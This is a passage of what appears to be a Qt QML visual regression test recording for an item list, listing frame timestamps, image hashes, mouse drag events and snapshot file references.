{ - msec: 992 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1008 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1024 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1040 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1056 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1072 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1088 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1104 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1120 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1136 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1152 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1168 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1184 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1200 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1216 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1232 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1248 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1264 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1280 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1296 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1312 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1328 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1344 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1360 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1376 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1392 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1408 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1424 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1440 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1456 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1472 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1488 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1504 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1520 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1536 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1552 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1568 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1584 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1600 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1616 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1632 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1648 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 192; y: 111 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1664 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 191; y: 111 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1680 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 190; y: 112 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 187; y: 113 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1696 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 184; y: 113 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 180; y: 113 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1712 - hash: "a68b1bc6c2963ee92c3a45f500667b3b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 174; y: 114 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 167; y: 115 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1728 - hash: "7cda93e59466b3348e7ffe3895f89e86" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 160; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1744 - hash: "06e0008c78e919f7270402938d9d764b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 140; y: 121 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 132; y: 122 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1760 - hash: "9d8da9199efebb95f56e5d4ebc9a585e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 114; y: 126 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 98; y: 132 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1776 - hash: "54a60a4279911ba4a8a5741bcadfa783" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 91; y: 132 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 91; y: 132 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1792 - hash: "a1a19370a1a8ed78e475f0d0eb12311c" - } - Frame { - msec: 1808 - hash: "196a3b127cf7065614c34856bf8d8bca" - } - Frame { - msec: 1824 - hash: "5fbefbd7c7be4374382cc4c8b86ac78a" - } - Frame { - msec: 1840 - hash: "d6a544c622e504c1b931e1a8a1310a6e" - } - Frame { - msec: 1856 - hash: "20e76f0eb4ec5f691999faf8ad313370" - } - Frame { - msec: 1872 - hash: "7f84a3545907c754ae8a6a30ef61c98d" - } - Frame { - msec: 1888 - hash: "b544901eae32903ad054e8cdfed715eb" - } - Frame { - msec: 1904 - hash: "a010ed1e3312f4ca9f429b7e32cdcef9" - } - Frame { - msec: 1920 - image: "itemlist.1.png" - } - Frame { - msec: 1936 - hash: "93a731dc6f71b6ff5400bf74c87e6c46" - } - Frame { - msec: 1952 - hash: "c73f63d1a024ba956e693487b3ccc761" - } - Frame { - msec: 1968 - hash: "539d3d00fce2d0128cd697d86d237fe7" - } - Frame { - msec: 1984 - hash: "52752d7d6f2d0e085f7132313907b72b" - } - Frame { - msec: 2000 - hash: "f46dd5803a6075e979e0fc733d503bfb" - } - Frame { - msec: 2016 - hash: "b8734698a6bad00ecf019f85328c2c21" - } - Frame { - msec: 2032 - hash: "1cfc499ca756023430cc5b2fa95a599d" - } - Frame { - msec: 2048 - hash: "63a816548837c19f8f0494c137fc0174" - } - Frame { - msec: 2064 - hash: "1bce9b85235e9a1a472c079dfec70ec5" - } - Frame { - msec: 2080 - hash: "6677863e7f74c12648409883f73adbe2" - } - Frame { - msec: 2096 - hash: "98e707a3e39a5f7bd4a101c2ed83535c" - } - Frame { - msec: 2112 - hash: "c1f6d8842d14a9394d4b7797314f50e8" - } - Frame { - msec: 2128 - hash: "579758b477bcd2112b305a5aac7df338" - } - Frame { - msec: 2144 - hash: "4a7bb81090db246db53e2dbc56f710ea" - } - Frame { - msec: 2160 - hash: "074995cdd8a70817d1c8a7bb0ad4c542" - } - Frame { - msec: 2176 - hash: "bd8d7bda4d2e9ad1fba2895d568f36cc" - } - Frame { - msec: 2192 - hash: "40cce3d2d80ac470af44fc334cec1d5b" - } - Frame { - msec: 2208 - hash: "15cbc226b032d5a97199735ea7a1408b" - } - Frame { - msec: 2224 - hash: "12b296aea9b058a5402d0d0a620f8edc" - } - Frame { - msec: 2240 - hash: "6ffd2b79cf0e941a59e74bc6f9025bcb" - } - Frame { - msec: 2256 - hash: "589a58ef76ea709dc8d80390c9044f99" - } - Frame { - msec: 2272 - hash: "c009924bfa30153f22ab168b539494e9" - } - Frame { - msec: 2288 - hash: "4b83674a7c2daa68d735901ad40be2bd" - } - Frame { - msec: 2304 - hash: "0525908c0302ada989e28990bac3f2ca" - } - Frame { - msec: 2320 - hash: "89eb13976ba3ba4413cafeb0cc91c01b" - } - Frame { - msec: 2336 - hash: "75c1295ef99680784b2e11fb88fa1423" - } - Frame { - msec: 2352 - hash: "93d89165cf6a97c76ae6e7f75678a3cd" - } - Frame { - msec: 2368 - hash: "53064c1938f08a55603a99b0db225174" - } - Frame { - msec: 2384 - hash: "31db5684466c0c32128a9a8c7b1835e1" - } - Frame { - msec: 2400 - hash: "99d9e58697736198e0a00443d237e85b" - } - Frame { - msec: 2416 - hash: "6c1e860aef983367365d53f5849ad441" - } - Frame { - msec: 2432 - hash: "6c1e860aef983367365d53f5849ad441" - } - Frame { - msec: 2448 - hash: "6c1e860aef983367365d53f5849ad441" - } - Frame { - msec: 2464 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2480 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2496 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2512 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2528 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2544 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2560 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2576 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2592 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2608 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2624 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2640 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2656 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2672 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2688 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2704 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2720 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2736 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2752 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2768 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2784 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2800 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2816 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2832 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2848 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2864 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 181; y: 104 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2880 - image: "itemlist.2.png" - } - Frame { - msec: 2896 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 179; y: 105 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 177; y: 106 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2912 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 174; y: 108 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 170; y: 110 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2928 - hash: "5bb06b4e74532ba5bc8c7bc38bf77d7f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 166; y: 112 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 160; y: 115 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2944 - hash: "b10a6206830a876017799ef2fcf61b1a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 154; y: 117 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 140; y: 123 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2960 - hash: "b2e24759ba10afd6cff90f4b1e04b496" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 124; y: 127 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 124; y: 127 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2976 - hash: "ccbcd6f45cb529c2db71504c0f69d73e" - } - Frame { - msec: 2992 - hash: "7b31c6d5931677f1aa1e8c7d48a4ff22" - } - Frame { - msec: 3008 - hash: "c52f691a0a6cf155118bdfea2dfea623" - } - Frame { - msec: 3024 - hash: "dd639d1df3d4a9b8f06718def63d588f" - } - Frame { - msec: 3040 - hash: "39d767b09a648ef6295cec2848f9226f" - } - Frame { - msec: 3056 - hash: "5dd46d5f386431e7b13348ac9a9630ed" - } - Frame { - msec: 3072 - hash: "0354e5183b0e66e7ba146d292c559df4" - } - Frame { - msec: 3088 - hash: "984aa6d7075e24de429e05b1b0eda94a" - } - Frame { - msec: 3104 - hash: "1af58a2f44f1f613712d4df85e38356d" - } - Frame { - msec: 3120 - hash: "6e4085e7f1fee724d78808753f04b471" - } - Frame { - msec: 3136 - hash: "73a019ef9057639d631cd99a431b3f3b" - } - Frame { - msec: 3152 - hash: "c9414a2e655a90dfdcb6fb288b4ba0ca" - } - Frame { - msec: 3168 - hash: "3f4c24f7ac89da982af22032309637fb" - } - Frame { - msec: 3184 - hash: "a50e6ada8f73a257657f4348ceaffcfd" - } - Frame { - msec: 3200 - hash: "a67bf40d09259bbd079c12ae4f49150f" - } - Frame { - msec: 3216 - hash: "a2fc512b7c234a9d0b2c1a83387a8a46" - } - Frame { - msec: 3232 - hash: "85090683ce9a3c9833b1cb0b3df076ee" - } - Frame { - msec: 3248 - hash: "275f3594a0e2cc4b6717f9f336e7e1b6" - } - Frame { - msec: 3264 - hash: "2473eb11f7b65a784a2b166114026488" - } - Frame { - msec: 3280 - hash: "4865c30dc45fbf5ca82047b77eca0912" - } - Frame { - msec: 3296 - hash: "54de88bca395449fbaea2c090c7a5d91" - } - Frame { - msec: 3312 - hash: "833f9295cf9a34934f001eac48551b59" - } - Frame { - msec: 3328 - hash: "5bf565f57ababa7380faeee94add91ca" - } - Frame { - msec: 3344 - hash: "6325578867f1eb3b2d47ed40b017b571" - } - Frame { - msec: 3360 - hash: "046a6114176b3a3206b7a2acd6e30b41" - } - Frame { - msec: 3376 - hash: "f8d4120a17f28c2d1d9c4be959098058" - } - Frame { - msec: 3392 - hash: "71356d2e48aad2900784ea6bc1a3d908" - } - Frame { - msec: 3408 - hash: "b84ad460fb81fdc4049abe8f3ff180bb" - } - Frame { - msec: 3424 - hash: "0354239f5eaea23474d9f81385392a8a" - } - Frame { - msec: 3440 - hash: "8ef0eef3393e07ae7605c865a95edc30" - } - Frame { - msec: 3456 - hash: "5b8b384cc8e3faf4310015e19b3eb487" - } - Frame { - msec: 3472 - hash: "77c18ac7dfff2a4e516915e3e3df0717" - } - Frame { - msec: 3488 - hash: "c1d3264384c26345eb8100de829309ca" - } - Frame { - msec: 3504 - hash: "6b21f71d0bedef4bbcb445a13f61e7a3" - } - Frame { - msec: 3520 - hash: "f619097356671f6eb54d3b1c481e709d" - } - Frame { - msec: 3536 - hash: "e56e3a90da446e0c482cb93717f6aacc" - } - Frame { - msec: 3552 - hash: "aa94ebdbb4b8423aff28c95daff0baf5" - } - Frame { - msec: 3568 - hash: "e1744d9cacd1a2c96af4cfdd5c486995" - } - Frame { - msec: 3584 - hash: "7f19ea52e9e41a3b1bd90bb2a144d305" - } - Frame { - msec: 3600 - hash: "7f19ea52e9e41a3b1bd90bb2a144d305" - } - Frame { - msec: 3616 - hash: "7f19ea52e9e41a3b1bd90bb2a144d305" - } - Frame { - msec: 3632 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3648 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3664 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3680 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3696 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3712 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3728 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3744 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3760 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3776 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3792 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3808 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3824 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3840 - image: "itemlist.3.png" - } - Frame { - msec: 3856 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3872 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3888 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3904 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3920 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3936 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3952 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3968 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 3984 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4000 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4016 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4032 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4048 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4064 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4080 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Frame { - msec: 4096 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 31; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4112 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 32; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4128 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 33; y: 136 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 36; y: 135 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4144 - hash: "88143ff6c278a5433b314b551b7b8b1d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 40; y: 134 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 46; y: 132 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4160 - hash: "c2c9c284b185a89faf4ddb5a7867f449" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 64; y: 130 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4176 - hash: "de1c18aeda5d2fbd6dad4554c78617bd" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 86; y: 126 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 110; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 110; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4192 - hash: "a67bf40d09259bbd079c12ae4f49150f" - } - Frame { - msec: 4208 - hash: "94514668dafbe41c5890a578efd6dea4" - } - Frame { - msec: 4224 - hash: "2e97a74eb9ddb1c9613c89e2d78db018" - } - Frame { - msec: 4240 - hash: "4b5368f0d86bffeb6bd31b58aec88650" - } - Frame { - msec: 4256 - hash: "b459bde7bb4ce51e6ecdab58f64fcbb9" - } - Frame { - msec: 4272 - hash: "7bac8cc3ec64c9ad1c0da282e38c953e" - } - Frame { - msec: 4288 - hash: "a73a58c3d7a757547740a2a161f4c756" - } - Frame { - msec: 4304 - hash: "b35edcb1fa3568a3e770ab2364b82e75" - } - Frame { - msec: 4320 - hash: "d6c863ef57c5e5cb04cdac72f920db0b" - } - Frame { - msec: 4336 - hash: "0db5e4588ff851918b07796f0cf07382" - } - Frame { - msec: 4352 - hash: "71ec8c363ca6a6f7556afb70faccffe6" - } - Frame { - msec: 4368 - hash: "18d026e9c965ada1db67c643576d2a80" - } - Frame { - msec: 4384 - hash: "69f71c22dff981a4da8ec1edcf90e79f" - } - Frame { - msec: 4400 - hash: "680460f5e4d9e649931601041af046b2" - } - Frame { - msec: 4416 - hash: "3028763fd15de2607b20b1331b904a4a" - } - Frame { - msec: 4432 - hash: "333eb60e217fe1ea7469eab52ac461f1" - } - Frame { - msec: 4448 - hash: "ccbcd6f45cb529c2db71504c0f69d73e" - } - Frame { - msec: 4464 - hash: "3445df9b41a0a3e74738cbf328ab7d5c" - } - Frame { - msec: 4480 - hash: "bd2c072558479e9de7a97207e58cc57f" - } - Frame { - msec: 4496 - hash: "3d34b0b24a30eda93377dcb4585afed8" - } - Frame { - msec: 4512 - hash: "d3045703863b0c5a327b9355c23d69f2" - } - Frame { - msec: 4528 - hash: "2f2eb55f693415b840a317211b250e9f" - } - Frame { - msec: 4544 - hash: "791b9ca7d47a3343474c30a35e336d4b" - } - Frame { - msec: 4560 - hash: "73a0c02ebad6d3d5f939d9a00dd898bf" - } - Frame { - msec: 4576 - hash: "d5c11135d586711b12f236430a2c2795" - } - Frame { - msec: 4592 - hash: "34f9ea214fe714ff4e994f715ea6ea39" - } - Frame { - msec: 4608 - hash: "8e49afa00983b156b818533923fb6edd" - } - Frame { - msec: 4624 - hash: "e7e7bef17cee92eca9191fd734d7a577" - } - Frame { - msec: 4640 - hash: "e407f6ed7cb3c130365ab5515d6308c0" - } - Frame { - msec: 4656 - hash: "5bb06b4e74532ba5bc8c7bc38bf77d7f" - } - Frame { - msec: 4672 - hash: "0ad7411316031e22034c14e81ca3a806" - } - Frame { - msec: 4688 - hash: "dd81d7a9b48c922b4c42cba1b5f2b9d7" - } - Frame { - msec: 4704 - hash: "32bef6f5005ad94e29ff59165958fbdc" - } - Frame { - msec: 4720 - hash: "87758dd311f91193bf1e3536c2f58525" - } - Frame { - msec: 4736 - hash: "015be92a4ff4e735fcc3cbc7a8b9d763" - } - Frame { - msec: 4752 - hash: "d4c34ed49317c6692d71681fcd9842b6" - } - Frame { - msec: 4768 - hash: "abaa235bb946a8abaddd52981d632c2d" - } - Frame { - msec: 4784 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4800 - image: "itemlist.4.png" - } - Frame { - msec: 4816 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4832 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4848 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4864 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4880 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4896 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4912 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4928 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4944 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4960 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4976 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 4992 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5008 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5024 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5040 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5056 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5072 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5088 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5104 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5120 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5136 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5152 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5168 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5184 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5200 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5216 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 5232 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 17; y: 120 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5248 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 19; y: 120 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 21; y: 120 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5264 - hash: "99f9988040a389576cb6420b5391f768" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 24; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 28; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5280 - hash: "95b380c9ab6f8db7b822faf023d94546" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 35; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 44; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5296 - hash: "bb79e53556698c62ec30c75be9f6b7d7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 70; y: 119 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 96; y: 117 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 96; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5312 - hash: "285cc2f0df1f59f25a0135560ab6edf2" - } - Frame { - msec: 5328 - hash: "93a731dc6f71b6ff5400bf74c87e6c46" - } - Frame { - msec: 5344 - hash: "eb555741ab128a50de5a18a454f2e639" - } - Frame { - msec: 5360 - hash: "5dbe6cf898c1e37fcaacecfcf57b2194" - } - Frame { - msec: 5376 - hash: "e7795610115593e78bb32f7bcc0ae2eb" - } - Frame { - msec: 5392 - hash: "20e76f0eb4ec5f691999faf8ad313370" - } - Frame { - msec: 5408 - hash: "d6a544c622e504c1b931e1a8a1310a6e" - } - Frame { - msec: 5424 - hash: "e7a3a21feed244c5b1c710a9254c15f0" - } - Frame { - msec: 5440 - hash: "5a4b1aca24f121d1373646e9d80b86fd" - } - Frame { - msec: 5456 - hash: "331d2ec7021655c86aa64e47718a1088" - } - Frame { - msec: 5472 - hash: "92096bc872e7395aa5b75c44646a0b60" - } - Frame { - msec: 5488 - hash: "0d9aa6cee4d21488cbb5153f8f3ed593" - } - Frame { - msec: 5504 - hash: "c1b943d43701605563fffffcb75f9fa7" - } - Frame { - msec: 5520 - hash: "1b680025d5ad1ddd8f8d5f570ba73e71" - } - Frame { - msec: 5536 - hash: "5539a3b9f60ea747c10ed8328b467cbf" - } - Frame { - msec: 5552 - hash: "0a1317bcb606cd3488c5b14ee5d96585" - } - Frame { - msec: 5568 - hash: "8844af68b11db7d92c69804c7371a746" - } - Frame { - msec: 5584 - hash: "28d7fd127739c6e3b8488651b725c802" - } - Frame { - msec: 5600 - hash: "0cf1a7d958a96aa2768995dddc5ccc09" - } - Frame { - msec: 5616 - hash: "64b902fe7ab4d89ef0c7b760974e3488" - } - Frame { - msec: 5632 - hash: "aba11c597eba550fc1eaddbf554057f6" - } - Frame { - msec: 5648 - hash: "1bacaa3bb9dc3cac9ffc7491cb4dc1a5" - } - Frame { - msec: 5664 - hash: "0ba8b582234d9f0c198c0c9e18e1cb02" - } - Frame { - msec: 5680 - hash: "f66eaf2b5c3529987c0d9d005351ed73" - } - Frame { - msec: 5696 - hash: "75b0bb720fa4c77da3783b3ff31c2fae" - } - Frame { - msec: 5712 - hash: "345b235bb7f13409378e5c0c370f2a41" - } - Frame { - msec: 5728 - hash: "83b7e902dce4e0fdc4ef5d629188c23c" - } - Frame { - msec: 5744 - hash: "04b9041c6f10969889d92e94785c7e88" - } - Frame { - msec: 5760 - image: "itemlist.5.png" - } - Frame { - msec: 5776 - hash: 